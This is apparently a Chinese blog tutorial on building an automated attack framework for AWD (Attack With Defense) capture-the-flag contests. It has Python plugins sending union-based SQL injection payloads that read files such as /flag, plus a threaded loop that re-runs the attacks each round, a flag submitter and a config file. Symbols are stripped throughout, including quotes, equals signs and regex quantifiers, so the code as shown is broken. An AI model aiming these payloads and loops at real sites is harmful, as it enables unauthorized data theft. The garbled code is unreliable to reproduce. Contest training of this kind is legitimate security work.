尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

AWD自动化攻击框架实战:从模块拆解到避坑指南

AWD自动化攻击框架实战:从模块拆解到避坑指南 简介这是一款面向AWDAttack With Defense攻防对抗竞赛的自动化攻击框架适合参赛选手与安全研究人员使用旨在通过YML配置文件简化攻击策略的定义与执行降低比赛中的技术门槛让使用者将精力集中在策略设计与优化上。资源包共66个文件以py与pyc源码文件为主辅以xml配置、png示意图及md说明文档整体约1.03MB目录中可见核心引擎、模块系统、配置文件、日志报告与第三方库等关键组成部分结构清晰便于二次开发。框架支持攻击阶段划分、模块调用、条件逻辑与定时任务并允许自定义扩展攻击模块兼顾兼容性与可扩展性。目前已有945人学习下载读者可借此快速测试和优化攻击策略模拟真实网络攻防环境提升实战能力与对攻防技术的理解。1. AWD 自动化攻击框架到底在打什么从手忙脚乱到脚本接管打 AWD 比赛最让人血压飙升的不是不会挖漏洞而是你刚连上 SSH对面已经把你 flag 偷了三轮。AWDAttack With Defense的节奏是「攻防同步、分数实时结算」每轮几分钟人工操作根本追不上。所谓自动化攻击框架本质就是把「扫描靶机 → 发现漏洞 → 利用拿 flag → 提交得分」这条链路用脚本串起来让机器替你跑重复动作。Bugku-AWD 专版这类框架面向的就是这种高频、短周期的对抗场景你负责分析漏洞和写利用脚本框架负责调度、并发和提交。它适合已经懂基本 Web 漏洞、但被手速拖累的选手也适合想系统化理解 AWD 攻防节奏的新手。核心不是「一键拿分」的玄学而是把攻击流程工程化。2. 拆解自动化攻击框架的四个核心模块2.1 为什么 AWD 必须自动化一轮 3 分钟的时间账先算一笔账。假设一轮 3 分钟靶机 10 台每台要探测 2 个常见漏洞点人工每台至少 20 秒光扫描就 200 秒还没算利用和提交。等你扫完flag 早被对面刷走了。AWD 的得分机制是「谁先提交有效 flag 谁拿分」同一 flag 重复提交无效所以速度直接等于分数。自动化的价值在于把「探测」和「利用」并行化。框架通常维护一个靶机列表对每台机器并发跑多个检测插件命中后立即触发利用模块拿到 flag 后走提交通道。整个过程不需要人盯着人只需要在赛前把插件写好、赛中根据回显调整。这里有个反直觉的点自动化框架不是让你「躺赢」而是把你从重复劳动里解放出来去做真正值钱的事——分析新漏洞、写新插件、盯住自己的防守。很多人以为上了框架就万事大吉结果对面一个没见过的漏洞类型框架里没插件照样被打穿。2.2 框架的模块划分扫描、利用、提交、调度各管什么一个能用的 AWD 自动化框架拆开看基本是四块模块职责关键输入关键输出扫描器探测目标存活、端口、常见漏洞特征靶机 IP 列表、端口范围漏洞类型 目标 URL利用器针对漏洞类型执行 payload 拿 flag漏洞类型、目标 URL、payload 模板flag 字符串提交器把 flag 提交到计分平台flag、提交接口地址、token提交结果成功/重复/失败调度器控制并发、轮次、重试、日志配置文件、轮次间隔任务队列状态调度器是大脑决定「什么时候扫、扫几轮、失败了重试几次」。扫描器和利用器是手脚插件化设计一个漏洞一个文件方便赛中热更新。提交器最容易被忽视但它是唯一直接换分的模块接口参数写错前面全白干。常见做法是配置文件驱动比如用一个 YAML 或 JSON 描述靶机列表、插件开关、提交地址。这样赛中改配置不用动代码降低翻车概率。2.3 插件化设计一个漏洞一个文件赛中热更新插件化的好处是隔离。AWD 赛中经常遇到「这个漏洞对面修了那个漏洞还能打」如果所有逻辑写在一个大脚本里改一处可能崩全局。拆成插件后每个插件独立加载、独立报错一个挂了不影响其他。一个典型的插件结构长这样# plugins/example_sqli.py # 插件约定每个插件实现 check() 和 exploit() 两个函数 # check 返回 True/False 表示目标是否存在该漏洞 # exploit 返回 flag 字符串或 None import requests def check(target): 探测目标是否存在报错注入特征 url f{target}/index.php?id1 try: r requests.get(url, timeout3) # 命中报错关键词则认为存在 return SQL syntax in r.text except Exception: return False def exploit(target): 利用注入读取 flag 文件 payload f{target}/index.php?id-1 union select 1,load_file(/flag),3-- try: r requests.get(payload, timeout3) # 从回显中提取 flag 格式字符串 import re m re.search(rflag\{[^}]\}, r.text) return m.group(0) if m else None except Exception: return None逻辑说明check只做轻量探测避免打草惊蛇exploit才发实际 payload。两个函数分开是为了让调度器可以先批量 check再对命中的目标集中 exploit减少无效请求。参数说明timeout3是 AWD 场景的常用值太长会拖慢轮次太短容易误判load_file路径按题目实际 flag 位置改常见是/flag、/flag.txt、/tmp/flag。正则flag\{[^}]\}匹配大多数平台的 flag 格式如果平台用其他格式改这里。2.4 调度与并发轮次间隔和线程数怎么定调度参数直接决定框架是「高效」还是「自杀」。线程数太高靶机可能限流或封 IP轮次间隔太短重复请求浪费资源太长错过拿分窗口。我一般这样起步线程数 1020轮次间隔 3060 秒每轮先 check 再 exploit。如果靶机性能差或网络抖动线程降到 510。提交器单独一个线程避免和扫描抢资源。# scheduler.py 核心调度逻辑 import time from concurrent.futures import ThreadPoolExecutor def run_round(targets, plugins, submitter, threads15): 执行一轮并发 check exploit 提交 with ThreadPoolExecutor(max_workersthreads) as pool: for target in targets: for plugin in plugins: # 每个目标插件组合提交给线程池 pool.submit(handle_one, target, plugin, submitter) def handle_one(target, plugin, submitter): if plugin.check(target): flag plugin.exploit(target) if flag: submitter.submit(flag) # 提交器内部去重 # 主循环每 45 秒跑一轮 while True: run_round(TARGETS, PLUGINS, SUBMITTER) time.sleep(45)逻辑说明ThreadPoolExecutor控制并发上限避免线程爆炸。handle_one把 check 和 exploit 绑在一起命中才利用减少无效流量。提交器内部要做去重同一个 flag 不重复提交。参数说明threads15是经验值靶机多就调高但别超过 30time.sleep(45)是轮次间隔比赛前期可以短一点抢分后期对面修得差不多了可以拉长省资源。3. 从零搭一个能跑的 AWD 攻击框架3.1 环境准备与依赖安装先明确一点这类框架跑在你自己可控的环境里用于比赛授权靶机。不要拿去做未授权测试这是底线。环境我一般用 Python 3.8依赖就几个requests发请求pyyaml读配置concurrent.futures是标准库不用装。如果要用 SQL 注入的自动化可能还需要sqlmap的 API 模式但 AWD 里手写 payload 往往更快。# 创建虚拟环境隔离依赖 python3 -m venv awd_env source awd_env/bin/activate # 安装核心依赖 pip install requests pyyaml # 验证 python3 -c import requests, yaml; print(ok)逻辑说明虚拟环境避免污染系统 Python赛中换机器也能快速重建。requests负责所有 HTTP 交互pyyaml负责读配置文件。参数说明Python 版本建议 3.8 以上低版本concurrent.futures行为有差异。如果靶机用 HTTPS 自签证书requests要加verifyFalse但会有警告可以关掉。3.2 配置文件怎么写靶机列表、插件开关、提交接口配置文件是框架的「遥控器」赛中改它比改代码快。我用 YAML因为可读性好支持注释。# config.yaml targets: - http://10.0.0.1 - http://10.0.0.2 - http://10.0.0.3 plugins: sqli: true # 开启 SQL 注入插件 file_include: true # 开启文件包含插件 rce: false # 关闭 RCE 插件本轮不用 submit: url: http://score.platform/submit # 计分平台提交接口 token: your_team_token # 队伍 token interval: 0.5 # 提交间隔防止频率限制 scheduler: threads: 15 round_interval: 45逻辑说明targets是靶机列表赛中根据主办方给的 IP 段填。plugins控制插件开关哪个漏洞能打就开哪个。submit是提交配置token每个队伍不同。scheduler是调度参数。参数说明interval: 0.5是提交间隔有些平台限制提交频率太快会被封round_interval: 45是轮次间隔按比赛节奏调。3.3 写第一个攻击插件以 SQL 注入读 flag 为例上面 2.3 已经给了插件模板这里补一个更完整的、带错误处理的版本并说明怎么调试。# plugins/sqli_union.py import re import requests FLAG_PATTERN re.compile(rflag\{[^}]\}, re.I) def check(target): 探测 union 注入是否可用 test_url f{target}/index.php?id1 and 11 try: r requests.get(test_url, timeout3) # 正常回显且无报错初步认为可注入 return r.status_code 200 and error not in r.text.lower() except requests.RequestException: return False def exploit(target): 尝试多种 union 注入 payload 读 flag payloads [ f{target}/index.php?id-1 union select 1,load_file(/flag),3, f{target}/index.php?id-1 union select 1,load_file(/flag.txt),3, f{target}/index.php?id-1 union select 1,group_concat(flag),3 from flag, ] for p in payloads: try: r requests.get(p, timeout3) m FLAG_PATTERN.search(r.text) if m: return m.group(0) except requests.RequestException: continue return None逻辑说明check用and 11做基础探测判断页面是否正常。exploit准备多个 payload因为 flag 位置和表名不确定多试几个提高命中率。正则用re.I忽略大小写兼容FLAG{}格式。参数说明timeout3是单请求超时AWD 里超过 3 秒基本可以放弃。load_file路径按题目改常见还有/var/www/html/flag。如果注入点需要 POST把requests.get换成requests.post并传data。调试技巧先在本地或练习靶场跑通确认 payload 有效再上比赛。赛中如果插件不生效先手动发一次请求看回显别盲目改代码。3.4 提交器实现去重、重试、频率控制提交器是唯一换分的模块必须稳。三个要点去重同一 flag 不重复提交、重试网络抖动时重发、频率控制别被平台封。# submitter.py import time import requests class Submitter: def __init__(self, url, token, interval0.5): self.url url self.token token self.interval interval self.submitted set() # 已提交 flag 集合用于去重 def submit(self, flag): if flag in self.submitted: return duplicate # 已提交过跳过 try: r requests.post( self.url, data{flag: flag, token: self.token}, timeout5 ) self.submitted.add(flag) # 无论成功与否都记录避免重复 time.sleep(self.interval) # 频率控制 return r.text except requests.RequestException as e: return ferror: {e}逻辑说明submitted集合做去重内存级进程重启会丢但 AWD 一轮内够用。提交后无论结果如何都加入集合避免同一 flag 反复提交被平台判作弊。time.sleep控制频率。参数说明interval0.5是提交间隔平台限制严就调大。timeout5比扫描的 3 秒长因为提交接口可能慢。token从配置文件读别硬编码。4. 避坑与排查AWD 自动化框架最常见的五个翻车点4.1 插件全开导致靶机被打崩现象框架跑起来后靶机响应变慢甚至 502自己的防守服务也挂了。原因线程数太高或者插件里 check 和 exploit 没分开对每台机器狂发请求靶机扛不住。解决线程数从 10 起步观察靶机负载再调。check 用轻量请求exploit 才发重 payload。加一个全局速率限制比如每秒最多 50 个请求。4.2 flag 重复提交被判无效现象明明拿到了 flag提交返回「重复」或「无效」。原因多个插件同时拿到同一个 flag提交器没去重或者 flag 格式提取错误提交了残缺字符串。解决提交器必须做去重用集合记录已提交 flag。正则提取后先校验格式比如flag{...}完整匹配再提交。赛中先手动提交一次确认接口正常。4.3 提交接口参数写错分数全丢现象框架显示提交成功但计分板没加分。原因提交接口的字段名、token、编码格式和平台要求不一致。比如平台要flag你传了data或者要 JSON 你传了 form。解决赛前用 curl 或 Postman 手动测一次提交接口确认字段名和返回。把接口文档里的示例请求原样抄进提交器别自己猜。4.4 插件报错导致整个框架挂掉现象一个插件抛异常整个调度循环停了。原因插件里没做异常捕获或者调度器没隔离插件错误。解决每个插件的 check 和 exploit 内部都要 try/except返回 False 或 None 而不是抛异常。调度器用pool.submit时异常不会传播到主线程但要加日志记录方便排查。4.5 赛中改配置没生效现象改了 config.yaml框架行为没变。原因框架启动时读一次配置赛中改文件不会自动重载或者改了错误的配置文件。解决要么重启框架要么实现配置热重载定时读文件 mtime。赛中重启有风险建议赛前把配置调好赛中只改插件开关这种能热更新的部分。5. 进阶让框架在对抗中活得更久框架能跑起来只是第一步AWD 的对抗性决定了它会遇到各种「意外」。分享几个我踩坑后总结的进阶技巧。第一插件要能「自适应」。同一个漏洞对面可能改了路径、加了 WAF、换了参数名。插件里多准备几套 payload按顺序试命中就停。比如 SQL 注入先试 union不行试报错再不行试盲注。别一套 payload 打到底。第二加一个「防守监控」模块。AWD 是攻防同步你打别人的时候别人也在打你。框架可以顺带监控自己的靶机定时检查 flag 文件是否被读、Web 目录是否被写马。发现异常立即告警比事后复盘有用。# defense_monitor.py 简易防守监控 import os import hashlib def check_flag_integrity(flag_path/flag): 检查 flag 文件是否被篡改 if not os.path.exists(flag_path): return flag 文件丢失 with open(flag_path, rb) as f: content f.read() # 记录初始哈希赛中对比 return hashlib.md5(content).hexdigest() # 赛中定时调用哈希变化说明 flag 被改逻辑说明记录 flag 文件初始哈希定时对比变化说明被入侵。参数说明flag_path按实际位置改哈希算法用 md5 够快。第三日志要能「回放」。框架跑完一轮日志里应该有哪台机器、哪个插件、什么 payload、什么回显、提交结果。出问题时能顺着日志复现比瞎猜快。我一般用 JSON 行日志每行一个事件方便 grep 和脚本分析。第四别把鸡蛋放一个篮子。框架只是工具真正拿分靠的是你对漏洞的理解。赛中遇到框架没覆盖的漏洞手动上别死等插件。我见过太多队伍框架跑得欢结果被一个手写 payload 打穿。最后说个习惯每次比赛后把新写的插件、遇到的坑、有效的 payload 整理成自己的插件库。下次比赛直接复用这才是自动化框架越用越强的正循环。希望帮到你。本文还有配套的精品资源点击获取
返回列表